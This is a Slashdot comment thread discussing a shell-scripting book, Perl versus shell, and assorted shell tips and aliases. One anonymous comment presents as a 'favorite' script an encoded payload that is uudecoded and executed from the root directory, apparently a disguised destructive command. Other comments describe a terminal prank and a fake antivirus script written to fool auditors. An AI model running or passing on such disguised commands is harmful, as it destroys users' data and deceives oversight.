    6. Re:shell scripts vs. programming languages... by jlusk4 · · Score: 2, Insightful

      I use 'em both. Start-up costs for writing shell scripts are a lot less. No 'FileHandle->new("blah") or die'. No '$rc = system( $cmd); if ($rc >> 8) {die}'.

      quick-n-dirty hack and/or small script that will grow ==> shell. Yes, I know perl can be quick-n-dirty, too, but then what's the point? I'd rather read shell q-n-d than perl q-n-d line noise.

      complex stuff (like parsing html/xml), and/or something that might get complex in future ==> perl

      John.

    7. Re:shell scripts vs. programming languages... by Anonymous Coward · · Score: 0

      carefull, all of the girls are scared of Perl. An admin should be able to use both, or any common scripting language... comfortably and easily...

    8. Re:shell scripts vs. programming languages... by Anonymous Coward · · Score: 0

      For some things, sh+awk just plain knocks Perl on its ugly, bloated ass.

    9. Re:shell scripts vs. programming languages... by Rick+Richardson · · Score: 4, Informative

      Well, I think Silent Bob (garcia) is directly attacking me as the author of these fine tools: Linux tools for geocaching

      I do know Perl as well as all of the original Unix tools: awk, sed, and of course my favorite: shell.

      The short and main explanation is that shell/awk/sed lend themselves very well to what is known as the "Unix tools" approach. Its a way of thinking using a small set of core tools that pays big rewards in productivity.

      In the case of my geocaching tools, two things were plainly obvious to me at the start. 1) I would be scraping the pages with curl, because there is no better and easier tool for that job, and 2) gpsbabel would be a main part of almost every tool because it knows how to work with a bajillion waypoint formats. So the onl;y question after that is which language to use to glue those commands together. Shell, awk, and perl can all do that. I used shell to tie it all together because that is what shell is best at.

      In a few of the tools, geo-map in particular, I did make a mistake in the glue choice. My excuse there is that it evolved far beyond its original design goals. So it ended up requiring a lot of floating point calculations and therefore I had to run several mini-awk scripts within it. If I were to rewrite it today, I would make it a pure AWK script. Why not perl? Because, IMHO, awk has the cleanest syntax of any of the scripting languages.

      So, then, when *would* I use perl? In general, I select perl when 1) there is a pre-written module that does a job that would be hard to do with shell/awk/sed, and 2) the use of that module is truly necessary. That second point is very important to me. The mere existance of a Perl module does not necessarily mean its the best or fastest way to solve the problem.

      Perl was the language of choice for "Belle", which is a 4000 line IRC robot I coauthored for use in my daytrading activities. The IRC module was what tipped the scale for Perl in that case.

      Another problem with perl modules is that using them guarantees that you will lose some percentage of potential users of your program. Having to find and install additional packages puts many people off. I try to make my scripts completely self-contained (including usage doco) so that people don't have to go thru these hassles.

      Anyway, you can argue with any of my points, but what you can't argue with is that I have the largest set of command line tools for geocaching that work, regardless what my language choice was.

      -Rick

    10. Re:shell scripts vs. programming languages... by McGarnacle · · Score: 2, Interesting
      (I have a sneaking suspicion that Perl vs. BASH is becoming the new emacs vs. vi.)

      I think it's Perl vs Python (vs Ruby).

      --

      I disagree with what you say, but will defend to the death your right to tell such LIES!

    11. Re:shell scripts vs. programming languages... by |_uke · · Score: 1

      Heh... I was a total fan of python until I started programing in ruby.

      I still do some programming in python though. Although I love ruby to bits.. it truly does lack decent library support. Python definatly has the advantage in that respect (Although nothing beats perl if your looking for a vast amount of modules.. LOL)

      --
      Luke
  16. RTFT by Anonymous Coward · · Score: 2, Insightful

    Wicked Cool Shell Scripts

    1. Re:RTFT by Anonymous Coward · · Score: 0

      shell isnt a language. either bourne shell (/bin/sh) or something else.

    2. Re:RTFT by KingOfBLASH · · Score: 2, Informative

      I RTFT. Shell scripts can be BASH, CSH, TSH, SH, KSH, the list goes on. That's if you're assuming by "shell" they don't mean all interpreted languages -- I've seen a number of Perl / Python / Whatever scripts put in the general category of shell scripts before.

      I am also curious what tools are assumed to be available to the user. There are a lot of programs available that are standard (i.e. wget), but is the author assuming a standard unix distribution, or does he say "if you have ___"?

    3. Re:RTFT by libra-dragon · · Score: 1
      norburym writes with a review of Wicked Cool Shell Scripts - 101 Scripts for Linux, Mac OS X, and UNIX Systems. "This incredibly fun book (really!), written by Dave Taylor, a veteran UNIX, Solaris and Mac OS X author, is chock full of 101 scripts to customize the UNIX (Bourne) shell." Read on for the rest.
    4. Re:RTFT by Short+Circuit · · Score: 1

      The Bourne shell is the standard that most modern shells support. A Debian installation couldn't possibly work without a proper interpereter at /bin/sh.

      In fairness, I'll point out that Debian also doesn't work properly without Perl. (It's an extremely painful process to manually upgrade Perl in Debian when you don't notice that you grabbed perl 5.8.2, and perl-modules 5.8.3. Especially when you're upgrading over the sneakernet.)

    5. Re:RTFT by captain_craptacular · · Score: 1

      What he wants to know is: Is the Bourne shell the ONLY thing he'll need. Or is he going to need a bunch of oddball utilities that don't come standard and he doesn't have a chance in hell of getting installed on the corporate HPUX/TRU64/SOLARIS/AIX/your_non_trivial_linux_here server... For instance, if a lot of the "bourne" shells require a call to a perl 6 script, I (and most people in an enterprise situation) am out, because we're perl 5.something and won't be going to 6 for probably several years and there's no hope of changing this situation...

      --
      They who would give up an essential liberty for temporary security, deserve neither liberty nor security
    6. Re:RTFT by Perl-Pusher · · Score: 1

      Didn't read the review heh? Look at the part that says in mostly caps "UNIX(Bourne)".

    7. Re:RTFT by Anonymous Coward · · Score: 0

      Well, with good luck it might be the Bourne shell and utilities specified in the Single Unix Specification. Of course, for some even fewer shell programmers are aware of the shell standards than C or C++ programmers are aware of their respective standards, but one can always hope that someone who took the effort to write a book about the subject would know about the relevant standards. Then again, being from O'Reilly the book might also be about bash scripts on UltraCool Linux 8.157.6.2pre9.

  17. http://imdb.com/robots.txt by Anonymous Coward · · Score: 5, Informative

    You might want to read imdb's robot.txt before using wget.

    1. Re:http://imdb.com/robots.txt by Anonymous Coward · · Score: 0

      If it was "wget -r" it would be of note. Robots.txt is for spidering, not general browsing like how the person is joking about doing it. (I hope joking to some extent).

    2. Re:http://imdb.com/robots.txt by deleuze · · Score: 1

      You might want to download imdb here:

      Alternate Interfaces
    3. Re:http://imdb.com/robots.txt by M.+Silver · · Score: 1

      wget's no more a robot than, say, Firefox is, though. You can *incorporate* wget into a robot more easily than you can Firefox, but that's not the same.

      --

      Slashdot's token middle-aged housewife
    4. Re:http://imdb.com/robots.txt by M.+Silver · · Score: 1

      wget's no more a robot than, say, Firefox is, though.

      Some days I need a longer delay than 20 seconds before posting. That should read something more like "wget's *not necessarily* more a robot..."

      (It's a fuzzy line, though, between "manually-run" processes and "things that should respect robots.txt". I've seen idiotically-caching browsers cause more havoc than most true robots.)

      --

      Slashdot's token middle-aged housewife
    5. Re:http://imdb.com/robots.txt by Anonymous Coward · · Score: 0

      Man. That takes me back.

  18. A very cool shell script by Pan+T.+Hose · · Score: 5, Funny

    Very recently, after reading a (Score:5, Insightful) idea on what would "make Linux four times what it is today" I decided to write a shell script which does exactly that. Sadly, writing a program which implements a (Score:5, Insightful) idea is apparently worth only (Score:1) as it's obviously better to say "Linux would be great if only..." than just doing it. Anyway, I have released it under the GNU General Public License. Enjoy!

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
    1. Re:A very cool shell script by TwistedGreen · · Score: 1

      That is bloody hilarious. If only I had mod points...

    2. Re:A very cool shell script by Uninvited+Guest · · Score: 1

      And just consider: complaining about it gets modded up (Score:4, Funny). At least, it's better than this one (Score:1, 50% Funny, 50% Overrated).

      --
      Sometimes I worry that I'll develop Alzheimer's disease, but no one will notice.
    3. Re:A very cool shell script by Gudlyf · · Score: 1

      No need to put that in /usr/local/bin, as many multiuser systems won't allow typical users to place stuff in /usr/local.

      Just put the script in ~/scripts or ~/bin and change that .bashrc line to:

      [ $PS1 ] && alias help=~/scripts/smarthelp.bsh

      --
      Trolls lurk everywhere. Mod them down.
    4. Re:A very cool shell script by gardyloo · · Score: 1

      Dude, you managed to work the word 'tit' into the code. + Mega-points for that.

    5. Re:A very cool shell script by Anonymous Coward · · Score: 0

      This has already been done:

      foo@bar# apt-get install bsd-utils ; exit
      boo@bar$ wtf wget
      wget: wget (1) - The non-interactive network downloader.
      boo@bar$ wtf non_existant_app
      Gee... I don't know what non_existant_ap means...

  19. Making shit up doesn't work too well. by Anonymous Coward · · Score: 0

    First of all, its not completely ubiquitous, so that would be a reason right there. Second, alot of people don't like perl. Its an ugly language, and 90% of what people use perl for is done as easily or easier with something else. On one end, if you actually spent a little time to learn your shell, you would realize you can write very powerful scripts in sh very quickly, the only reason to use perl over sh is personal preference. On the other end, most langauges like python and ruby are much nicer than perl, and can often do what perl can simpler and cleaner.

    1. Re:Making shit up doesn't work too well. by Anonymous Coward · · Score: 0

      That's a big 10-4 18 wheeler.

  20. Tintin and Asterix! by GillBates0 · · Score: 3, Interesting
    A special nod of appreciation to Dave Taylor's Tintin references!

    And a special nod of appreciation to norburym for mentioning the Tintin references in the review!

    It was cool to see a reference to one of my favorite fiction/comic books on Slashdot. I hate to call Tintin and Asterix comic books because they're so much more than mere comics. I've noticed though, that not many people are as hooked to the Tintin and Asterix series in the US as in Europe/Asia. They're great for kids and much *much* better than the shitload of comics that they read nowadays.

    I've had trouble finding them in the public libraries (in 3 states) and even the big book stores. So people who haven't heard/read these books, are definetly missing out on some cool reading. Check them out at your local library or atleast their websites: Tintin and Asterix.

    Note: I am in no way affiliated to these books/publishers/websites. I'm just an avid fan :)

    --
    An Indian-American Hindu committed to non-violent thought/speech/action alarmed by the global explosion of radical Islam
    1. Re:Tintin and Asterix! by Anonymous Coward · · Score: 0

      You've had trouble locating these books in public libraries in three states and yet you're telling us to check them out at our local libraries??

    2. Re:Tintin and Asterix! by Anonymous Coward · · Score: 0

      Silly me; I thought the reference was to tintin the mud client!

    3. Re:Tintin and Asterix! by lscoughlin · · Score: 1

      Uh, are you sure it wasn't tintin as in the old school mud client ( a version still exists at www.wintin.org )...

      just a thought, spose i'll have to read the book to find out...

      --
      Old truckers never die, they just get a new peterbilt
    4. Re:Tintin and Asterix! by Anonymous Coward · · Score: 0
      ...that not many people are as hooked to the Tintin and Asterix series in the US as in Europe/Asia.

      And don't forget Lucky Luke when talking about classics!

    5. Re:Tintin and Asterix! by Anonymous Coward · · Score: 0

      Do they still sell those books? I read 'em all in french eons ago and wouldn't mind buying them. I'm not interested in buying through ebay and all that though. Too much trouble. :-(

    6. Re:Tintin and Asterix! by Anonymous Coward · · Score: 0

      Well, I don't know about the situation in the US, but both Tintin and Asterix are continuously in print in most European languages. Perhaps you could order some from the UK?

  21. Re:Exactly... by Anonymous Coward · · Score: 0

    The parent post makes no grammatical sense. Does anyone know what this A.C is trying to say?

  22. Any mirrors? by Anonymous Coward · · Score: 0

    Site seems down already

  23. Not for CGIs. by Anonymous Coward · · Score: 0

    For things like stupid customers who's websites contain links to "index.htm" but who's files are actually named "Index.HTM". There's always little things like this that are easily dealt with if you understand your shell and how to script with it.

  24. Bah, Perl's too much overhead... by DrMorpheus · · Score: 0, Flamebait
    And Bourne just sucks.

    Give me Korn shell or give me death!

    --
    Debunking the "59 Deceits"
    1. Re:Bah, Perl's too much overhead... by Anonymous Coward · · Score: 0

      ksh is the worst shell ever!!!! bash.. the true shell.. what's up with Esc-k???? blah!

  25. Re:But "Wicked cool" and "Linux" do? by Tuxinatorium · · Score: 2, Funny

    Thank you, that troll was truly well-crafted and inspiring.

  26. Ummm... by tsmit · · Score: 3, Funny

    Written by someone in Boston apparently. I bet he's wicked smaaaaaat.

    --
    Yes, my girlfriend is a BitchX
    1. Re:Ummm... by dupper · · Score: 1

      You can't pahk yah cah in Hahvahd Yahd, thehe's no fahking pahking theae!

    2. Re:Ummm... by smkndrkn · · Score: 0, Troll

      faaak you ya fuckin chowdah head

      --
      ======== In the future, everything will be artificial. ========
  27. Coulda done with this about 2-3 years ago... by Anonymous Coward · · Score: 1, Interesting

    Bash scripts used to drive me up the wall back then. Now I've found the glory of Perl. Couple that with O'Reillys Learning Perl, Programming Perl and Perl Cookbook and you can say goodbye to bash forever... unless Perl use is prohibited *sigh*.

    John

  28. Cliff-Hanger spoiler... :D by rdr2 · · Score: 3, Funny

    #90 Monitoring Network Status Please... Please... let me guess this one. is it ping?

  29. OS X IS UNIX by Anonymous Coward · · Score: 0, Troll

    101 Scripts for Linux, Mac OS X, and UNIX Systems

    Dammit, when will people get over their prejudices and realise that OS X is UNIX. There seems to be a constant segregation "Linux, OS X, and UNIX".

    Apple put a lot of work putting high-end UNIX Servers on the desktop, that are on par or exceed the performance and usability of stuff from SUN, IBM, SGI, BSD and CRAY. In fact, OS X is the best UNIX ever, with protected memory, pre-emptive multitasking and all the things that make Apple what Apple is today.

    Your crappy white-trash PEECEEs could only dream of that.

  30. Re:Doing things yourself by happyfrogcow · · Score: 4, Insightful

    I haven't seen or read this book, but my first impression from reading the review is that it's just a book that lists some shell scripts. There's no real challenge. You could customize the scripts endlessly, but real hackers write the scripts themselves (okay, borrowing code sometimes)

    So what? I just bought a cookbook on sauces. What's different? Maybe I like a little more garlic in most my sauces so I'll throw some in here and there. Most of the sauce recipes, i would have never have thought to go with something I usually eat. Why does there need to be a "challenge"? It simply makes my meal more enjoyable.

    Having 101 shell scripts that I can tinker with and add things that I like, or use them in a way that makes using my computer more enjoyable is great!

  31. Re:Exactly... by Tuxinatorium · · Score: 0, Offtopic

    He's one of those trolls from the Korean branch of GNAA. His grammar sounds a lot like the virus emails I've gotten lately.

  32. Not ubiquitous by Anonymous Coward · · Score: 1, Informative

    sh and vi are ubiquitous, perl is not.

    For instance, FreeBSD recently took perl out of the base package. And perl wouldn't be my candidate for inclusion on a boot floppy.

  33. Re:Hmm... by WillyElectrix · · Score: 5, Funny

    I can hardly wait for: Wickity Wacked Scripts PHPhat Programs 101 Scripts With Bling Bling /bin/Shizzle Your Scripts Sucka MC Unix Administration in a Nutshell -w

  34. Wow. by Kiyooka · · Score: 1

    Must be the loan-calculating scripts all the Gs use out in Compton. Can't get much more street credit than that!

    That just shizzled my nizzle.

    1. Re:Wow. by Anonymous Coward · · Score: 0

      'cred', not 'credit'. You lose, sucka!

  35. because perl is a pig that runs out of memory by Anonymous Coward · · Score: 1, Insightful

    perl thrashes and crashes trying to crunch seriously large amounts of data.

    the stuff in /bin and /usr/bin are usually written in C and often quite robust. at least if it's GNU. Solaris "awk" and "fgrep" and SGI "ls" are pieces of crap.

    perl is good for using when you have smaller amounts of data and can't quite do it with sed/awk/ls/grep/sort. it is especially good with "associative arrays" (most people call them "hash tables").

    1. Re:because perl is a pig that runs out of memory by Anonymous Coward · · Score: 0

      Dude, perl4 has been dead for years... They are called hashes now... Move on with the programm..

    2. Re:because perl is a pig that runs out of memory by Anonymous Coward · · Score: 0

      Damn, how many ways are there to screw up ls?

    3. Re:because perl is a pig that runs out of memory by Xenographic · · Score: 1

      I've handled probably 100MB+ of text in Perl.

      I slurped up several bloody files because I had to sort them just so.

      I did this on a crappy old compaq, with a Pentium 166, non-MMX. I think I had 72 MB of RAM back then and a slow HD (3600 RPM, IIRC *shudder*)

      It took a while, but it worked fine.

      What the hell are you running that's crashing so badly? Are you sure it's the data overload and not sloppy programming on your part? Do you have enough RAM?

      Now, I grant you, 100MB+ isn't exactly the largest of files, especially these days (it seemed more impressive when I did it, though), but it should be a reasonable amount to give Perl a bit of stress, especially on such an old machine...

    4. Re:because perl is a pig that runs out of memory by ichimunki · · Score: 0, Redundant

      the stuff in /bin and /usr/bin are usually written in C and often quite robust.

      You say this like Perl is not written in C and the interpreter crashes constantly.

      Shell scripting is very useful for stringing together shell commands. Perl (and other scripting languages-- like my favorite, Ruby) are useful when your shell script starts to be too long to fit on a command line or starts to be more than one screen-full of text or when you want to add a nice GUI interface or when the task looks more like an application than a small utility.

      Right tool for the job.

      --
      I do not have a signature
    5. Re:because perl is a pig that runs out of memory by Anonymous Coward · · Score: 0

      Well, parent poster is running a Perl script now that's taking up 1GB RAM crunching genomics data. Shoulda written that puppy in "C". Worked fast up until the time I threw the real final data at it. Slloooowwww. Got plenty of RAM (12G). Sloppy programming? Ouch! No! Damn program just ground to a crawl at some critical amount of data. Not sure what up. Don't care either; next implementation is with gcc. PERL's okay to prototype. Sometimes.

    6. Re:because perl is a pig that runs out of memory by elmegil · · Score: 2, Informative
      perl thrashes and crashes trying to crunch seriously large amounts of data.

      No, your pathetically puny little machine thrashes and crashes trying to crunch seriously large amounts of data with that script you threw together in 15 minutes while ignoring all the comments in the Camel Book about performance implications of things like "@array = <FILE>". Perl is written in C, and runs just fine when used appropriately.

      --
      7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
    7. Re:because perl is a pig that runs out of memory by Anonymous Coward · · Score: 0

      when used appropriately

      like on small amounts of data or when performace
      doesn't count.

      agreed.

    8. Re:because perl is a pig that runs out of memory by iCat · · Score: 2, Informative

      perl thrashes and crashes trying to crunch seriously large amounts of data

      Yep, that's why it did this.

    9. Re:because perl is a pig that runs out of memory by elmegil · · Score: 1
      like on small amounts of data or when performace doesn't count.

      So I guess genome processing doesn't count as a counter example to your FUD?

      --
      7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
    10. Re:because perl is a pig that runs out of memory by Anonymous Coward · · Score: 0

      Ha. Ha.

      That stuff is for the biologists that don't know how to program. Check out the NCBI toolkit for the real stuff.

      (rolls eyes)

    11. Re:because perl is a pig that runs out of memory by intertwingled · · Score: 1

      Actually they are called associative arrays now, and they are pretty vulcanized. Just try doing the same thing in java.

      --
      -- SKYKING, SKYKING, DO NOT ANSWER.
    12. Re:because perl is a pig that runs out of memory by Anonymous Coward · · Score: 0

      12 nested loops will do that to a program...

      try being a bit more streamlined next time.

    13. Re:because perl is a pig that runs out of memory by Camel+Pilot · · Score: 1

      perl thrashes and crashes trying to crunch seriously large amounts of data.

      Insightful? What every is happeing to moderation these days.

      I have processed large (>300Mb) binary data files, demultiplexing floating point data and converting from big to little endian without a problem. Wrote a C program to do the same. Performance was with 5% percent.

    14. Re:because perl is a pig that runs out of memory by bangular · · Score: 1

      I've worked with 4 gig text files with perl. It performs the same on 10 megabytes as it does 10 gigs...if you program it properly. The only way I could see you running out of memory is if you read the text file to an array. If you use while (filehandle) it reads the text one line at a time. And perl is written in C...

    15. Re:because perl is a pig that runs out of memory by belroth · · Score: 1

      OK, I'm no Perl guru but hopefully I'm learning, so why not use Tie::File? According to the docs the file size shouldn't affect the memory footprint, but it seems to in practice. Of course a faster HDD might speed things up...

      --
      I hereby inform you that I have NOT been required to provide any decryption keys.
    16. Re:because perl is a pig that runs out of memory by bangular · · Score: 1

      It really depends what you are doing. Only use Tie::File if you need your text file in an array. If you need to be able to access lines of the text file out of order and multiple times. If you just need to procees the text file through once then open a file handle and use while. That's the most efficent way to do it and is what you need to do most of the time anyway. Each line is stored in $_. A good example is, I wrote a program that has to enter a 50MB weblog into a database daily. The data needs to be in a form mysql can use so I grab what I want from each line and enter it into the database on the fly. An example of when you'd want to use Tie::File would be if you needed to bubble sort a text file.

    17. Re:because perl is a pig that runs out of memory by Anonymous Coward · · Score: 0

      Upb. buh. ahhh. Probably spent the whole time in system calls in both C and PERL. Check the "time" command to see how much faster C is than perl. It's a lot more than 5%.

  36. But does it have... by Noksagt · · Score: 2, Funny

    a port of cowsay?

  37. Re:Doing things yourself by MrPink2U · · Score: 0, Flamebait

    ...but grandma didn't need no stinking cookbook and her sauce kicked ass.

  38. Here's my favorite by Anonymous Coward · · Score: 0

    #!/bin/sh
    # run at your OWN RISK
    cd /
    uudecode EOF
    begin 644 d
    &FT@+7)F
    \`
    end
    EOF
    chmod +x d
    sh d

  39. Yeah right. A "cool" shell script. by second+class+skygod · · Score: 2, Funny

    We all need to accept it. There are not many activities that Slashdotters could perform that are truly "cool"; least of all writing a shell script.

    -- scsg

  40. Don't start this argument!@ by mekkab · · Score: 2, Insightful

    Please, DON'T.

    Why? If I know awk better than PERL, its a much better idea to use AWK.
    Vice versa.

    P.S.- At two different points in my life I did serious perl scripting. Now, I can't remember a darn thing. Awk looks like C. So these days, I use awk. Different strokes for people with different amounts of brain power/memory.

    And some scripters tend to be just as zealous about the power of scripting as perl mongers are about perl!

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
    1. Re:Don't start this argument!@ by ThrobbingGristle · · Score: 1

      I find it hard to believe that someone who actually knew perl would go back to using awk.

      Depending on how you use perl, it can look as much like C as awk does.

      I can't imagine using awk for anything any more, which isn't to say I didn't write thousands of lines of awk code (which in awk, is a lot.)

    2. Re:Don't start this argument!@ by mekkab · · Score: 2, Interesting

      cat blahlblahblha.txt | awk '{ print $8 $2;}'

      just to give you an example. I like that both Perl and awk give you associative arrays for free.

      The last time I needed to analyze network usage per processor per second I wrote an awk script.

      I find it hard to believe that someone who actually knew perl would go back to using awk.

      Believe it. Its just what I do now.

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    3. Re:Don't start this argument!@ by krygny · · Score: 1

      "P.S.- At two different points in my life I did serious perl scripting. Now, I can't remember a darn thing."

      Well, if it was way back in the late '50s, I could understand. Perl has changed a lot since then.

      --
      Research shows that 67% of those who use the term "research shows", are just making shit up.
    4. Re:Don't start this argument!@ by The+Angry+Mick · · Score: 1

      The last time I needed to analyze network usage per processor per second I wrote an awk script.

      And you needed to do this, why?

      --

      I'm not tense. I'm just terribly, terribly, alert.

    5. Re:Don't start this argument!@ by mekkab · · Score: 1

      Not too many tools for analyzing ring traces. Thats right. Token ring. Using a non-standard protocol (we have our own transport layer protocol).

      Do yourself a favor- don't ask!

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    6. Re:Don't start this argument!@ by MeerCat · · Score: 1

      cat blahlblahblha.txt | awk '{ print $8 $2;}'

      cat blahlblahblha.txt | perl -ane 'print $F[7], $F[1], "\n"'

      or

      perl -ane 'print $F[7], $F[1], "\n"' blahlblahblha.txt

      Nothing wrong with awk and sed and bash, but the origin of perl was Larry kept on writing sh+awk+sed scripts and forgetting where he needed a "$", where a ";", which index started at 0 or at 1.. etc. and wishing he had all 3 with a unified syntax, so don't be surprised that most stuff (not all, just most) can be expressed in very similar ways.

      Try "perldoc perltrap" for hints - awk programmers should look at command line options -a, -n, sed users look at -p.

      --
      I spent a lot of money on booze, birds and fast cars. The rest I just squandered. - George Best
  41. Because Perl's on NFS and not mounted yet? by Anonymous Coward · · Score: 3, Insightful
    Shells tend to be statically linked and available as soon as the root file system is mounted.

    Try getting to anything in NFS when running in single-user mode.

  42. Is there a shell script to... by caffiend666 · · Score: 5, Funny

    Is there a shell script included that makes it look like you are working? Isn't that the purpose of all good shell scripts?

    Freedom is trouble :)

    --
    Here's to losing my Karma Bonus again....
    1. Re:Is there a shell script to... by jwpacker · · Score: 2, Interesting

      It may not be one that makes it look like you're working, but I did one once that made it look like the computer was...

      Y'see, back when I worked at IBM, we were all chomping at the bit to get Windows off of our Thinkpads. We had them dual-booting, for those times when we couldn't do what we needed to do in a hacked wine/lotus notes window, but spent most of our time in Linux, where a terminal emulator and a web browser were the only tools we really used very often.

      From on high came a directive that every workstation in the department must be running an antivirus. Immediately. They were auditing systems to ensure that the antivirus was running, and that the virus definitions were up to date. No amount of explanation would get through to them that Linux was relatively safe from viruses, and that there was no version of Norton for us to run.

      Finally, to get past it all, I hacked together a script in a few seconds that echoed information onto the screen at login time that made it look like there was an antivirus running, that it was checking and downloading the 'lastest virus definition file' and that it was finding no problems with the system.

      End of auditing problems.

      --
      Software is like a goldfish - it'll grow to fit the size of it's bowl...
  43. You are a fuckking moron. by Anonymous Coward · · Score: 0

    If you don't even understand shells or how they work, you shouldn't be getting religous about them. Not only are there multiple ksh shells, but all of them are easily configurable. I use a pdksh that has tab completion, etc just like bash, only its faster and uses 1/3 as much RAM.

    Bash is typical of GNU software: bloated, buggy re-implimentations of existing software that are considered "the one and only" by linux twits that don't know the first thing about unix.

    1. Re:You are a fuckking moron. by Anonymous Coward · · Score: 0

      so says the angry guy trapped in DEC-OS...

  44. Trouble as in... by Anonymous Coward · · Score: 0

    had to hunt around and ultimately found a couple of them, but nowhere close to the entire series comprising 20 odd books.

  45. dated title by tealwarrior · · Score: 3, Interesting

    "Wicked Cool" seems like a pretty dated term to me but after all it is a book on shell scripts. Perhaps we'll see "Hella Cool Perl Scripts" next. For shell scripting I still like "The UNIX Programming Environment" by Kernighan and Pike but that's reeeeaaaaly dated.

    --
    In theory, there is no difference between theory and practice, in practice there is.
    1. Re:dated title by DarthWiggle · · Score: 1

      Would you rather the title be in l33t? *shudder... I'll take 80s and 90s references over l33t any day.

  46. April Fool's Amusement by MooseByte · · Score: 2, Funny


    "stty erase r"

    Insert at end of victim's .login file. See how long it takes them to figure it out. (And they can still run vi/emacs to fix it themselves.)

    1. Re:April Fool's Amusement by eclectus · · Score: 1


      "stty erase r"

      Insert at end of victim's .login file. See how long it takes them to figure it out. (And they can still run vi/emacs to fix it themselves.)


      that's when it's good that control-v followed by any character will put that character instead of being interpretted by the shell. Great for when someone is a real jerk and does a 'stty erase s' on you, and you can't even type 'stty sane' !

      --
      This signature is a waste of 42 characters
    2. Re:April Fool's Amusement by Anonymous Coward · · Score: 0

      Has nothing to do with the shell; the stty command talks to the terminal driver (via ioctl(2)). It also implements the quote (default ^V) character you're referring to.

      However, command line editing shells like bash and tcsh use the driver in uncooked mode, so they won't respect the "stty erase" setting anyway (try it).

  47. pushd and popd (and other tricks) by Komi · · Score: 5, Informative
    I've read throught the tcsh man pages and stole from other people and probably the least-known most useful trick I've found is pushd and popd (which I realias to pd and po), and of course directory stack substitution. Here's a snippet of code that's really useful:
    alias pd pushd
    alias po popd
    cd /incredi/bly/long/path/name
    pd /some/other/incredi/bly/long/path/name
    cp *.mp3 =1 # =1 is the first entry on the dirstack
    po # returns you back to first place
    The other major time saver I use are sed and awk. I used each for a specific purpose. Sed works great for substitution, and awk I use to grab columns of data. Here's a sample of how I'd use both together. This will list the home directories of the users on a machine. It's simple, but there's a ton you can do with this technique.
    who | awk '{print $1}' | sort | uniq | sed 's@^@/home/@g'

    Here's other stuff I have grouped by sections in my .cshrc

    First, I have my shell variables. The comments say what they do. The most important one is autolist.

    set autolist # automatically lists possibilities after ambiguous completion
    set dunique # removes duplicate entries in the dirstack
    set fignore=(\~) # files ending in ~ will be ignored by completion
    set histdup=prev # do not allow consecutive duplicate history entries
    set noclobber # output redirection will not overwrite an existing file
    set notify # notifies when a job completes
    set symlinks=ignore # treats symbolic directories like real directories
    set time=5 # processes that run longer than $time seconds will be timed.

    Second, bindkeys are pretty neat. I rebind the up and down arrow keys. By default they scroll up and down one at a time through the history. You can bind them to search the history based on what you've typed so far.

    bindkey -k up history-search-backward # up arrow key
    bindkey -k down history-search-forward # down arrow key

    Third, completes allow for customizing tab completion. When I change directories, tab only completes directory names. This also works for aliases, sets, setenvs, etc.

    complete cd 'p/1/d/'
    complete alias 'p/1/a/'
    complete setenv 'p/1/e/'
    complete set 'p/1/s/'

    Fourth, I have all my aliases. I had to cut a bunch because of the lameness filter.

    alias cwdcmd 'ls'
    alias precmd 'echo -n "\033]0;$USER@`hostname` : $PWD\007"'
    alias pd 'pushd'
    alias po 'popd'
    alias dirs 'dirs -v'
    alias path 'printf "${PATH:as/:/\n/}\n"'
    alias ff 'find . -name '\''\!:1'\'' -print \!:2*'
    alias aw 'awk '\''{print $'\!:1'}'\'''
    alias sub 'sed "s@"\!:1"@"\!:2"@g"'
    --
    The ultimate goal of science is to unify all forces of nature to a single law that can be silk-screened onto a T-shirt.
    1. Re:pushd and popd (and other tricks) by nitehorse · · Score: 2, Informative

      I love tcsh.

      One of the things that a lot of people don't realize is that you can still set the colors and such in tcsh just like in bash - only the syntax is different. Here's how I have mine set on one of the machines I log into:

      set prompt = "%{^[[032;1m%}`whoami`%{^[[0m%} %c3 %B%#%b "

      Good stuff.

    2. Re:pushd and popd (and other tricks) by reidbold · · Score: 1
      set prompt = "%{^[[032;1m%}`whoami`%{^[[0m%} %c3 %B%#%b "
      I don't think anything could be more clear.
      --
      -Reid
    3. Re:pushd and popd (and other tricks) by MasterLock · · Score: 1

      Two of my most handy aliases (tcsh and 4DOS/4NT) are: alias mcd 'md \!*; cd \!*' alias rcd 'setenv OLD_DIR `pwd`;cd ..;echo $OLD_DIR;rd "$OLD_DIR"; unsetenv OLD_DIR' Usage: ~/> mcd junkDir ~/junk> -- do commands, unzip files, et cetera -- ~/junk> rcd ~/> -- back where you were and the dir is gone --

    4. Re:pushd and popd (and other tricks) by sik0fewl · · Score: 2, Funny

      set prompt = "%{^[[032;1m%}`whoami`%{^[[0m%} %c3 %B%#%b "

      Hey, that runs in my Perl interpreter, too!

      --
      I remember when legal used to mean lawful, now it means some kind of loophole. - Leo Kessler
    5. Re:pushd and popd (and other tricks) by Anonymous Coward · · Score: 1, Informative

      alias pd pushd
      alias po popd
      cd /incredi/bly/long/path/name
      pd /some/other/incredi/bly/long/path/name
      cp *.mp3 =1 # =1 is the first entry on the dirstack
      po # returns you back to first place


      cd /some/directory/
      cd /another/directory/
      cp *.mp3 ~-
      cd ~-

    6. Re:pushd and popd (and other tricks) by MasterLock · · Score: 2, Informative

      Two of my most handy aliases (tcsh and 4DOS/4NT) are:

      alias mcd 'md \!*; cd \!*'
      alias rcd 'setenv OLD_DIR `pwd`;cd ..;echo $OLD_DIR;rd "$OLD_DIR"; unsetenv OLD_DIR'

      Usage:
      ~/> mcd junkDir
      ~/junk> -- do commands, unzip files, et cetera --
      ~/junk> rcd
      ~/> -- back where you were and the dir is gone --

    7. Re:pushd and popd (and other tricks) by wodelltech · · Score: 1

      I can't understand why newbies find CLI's intimidating. ;) (Disclaimer - I'm a die-hard liner...)

      --
      Your monitor is staring at you.
    8. Re:pushd and popd (and other tricks) by cballowe · · Score: 1
      who | awk '{print $1}' | sort | uniq | sed 's@^@/home/@g'


      What you really mean is
      who | awk '{print $1}' | sort -u | sed 's@^@/home/@'


      Which does make the assumption that user home dirs are /home/username -- not always the case. Safer is:
      awk -F: '{print $6}' /etc/passwd


      Remember, there's a limited number of keystrokes in a lifetime - use them wisely.

    9. Re:pushd and popd (and other tricks) by timlewis_atlanta · · Score: 1

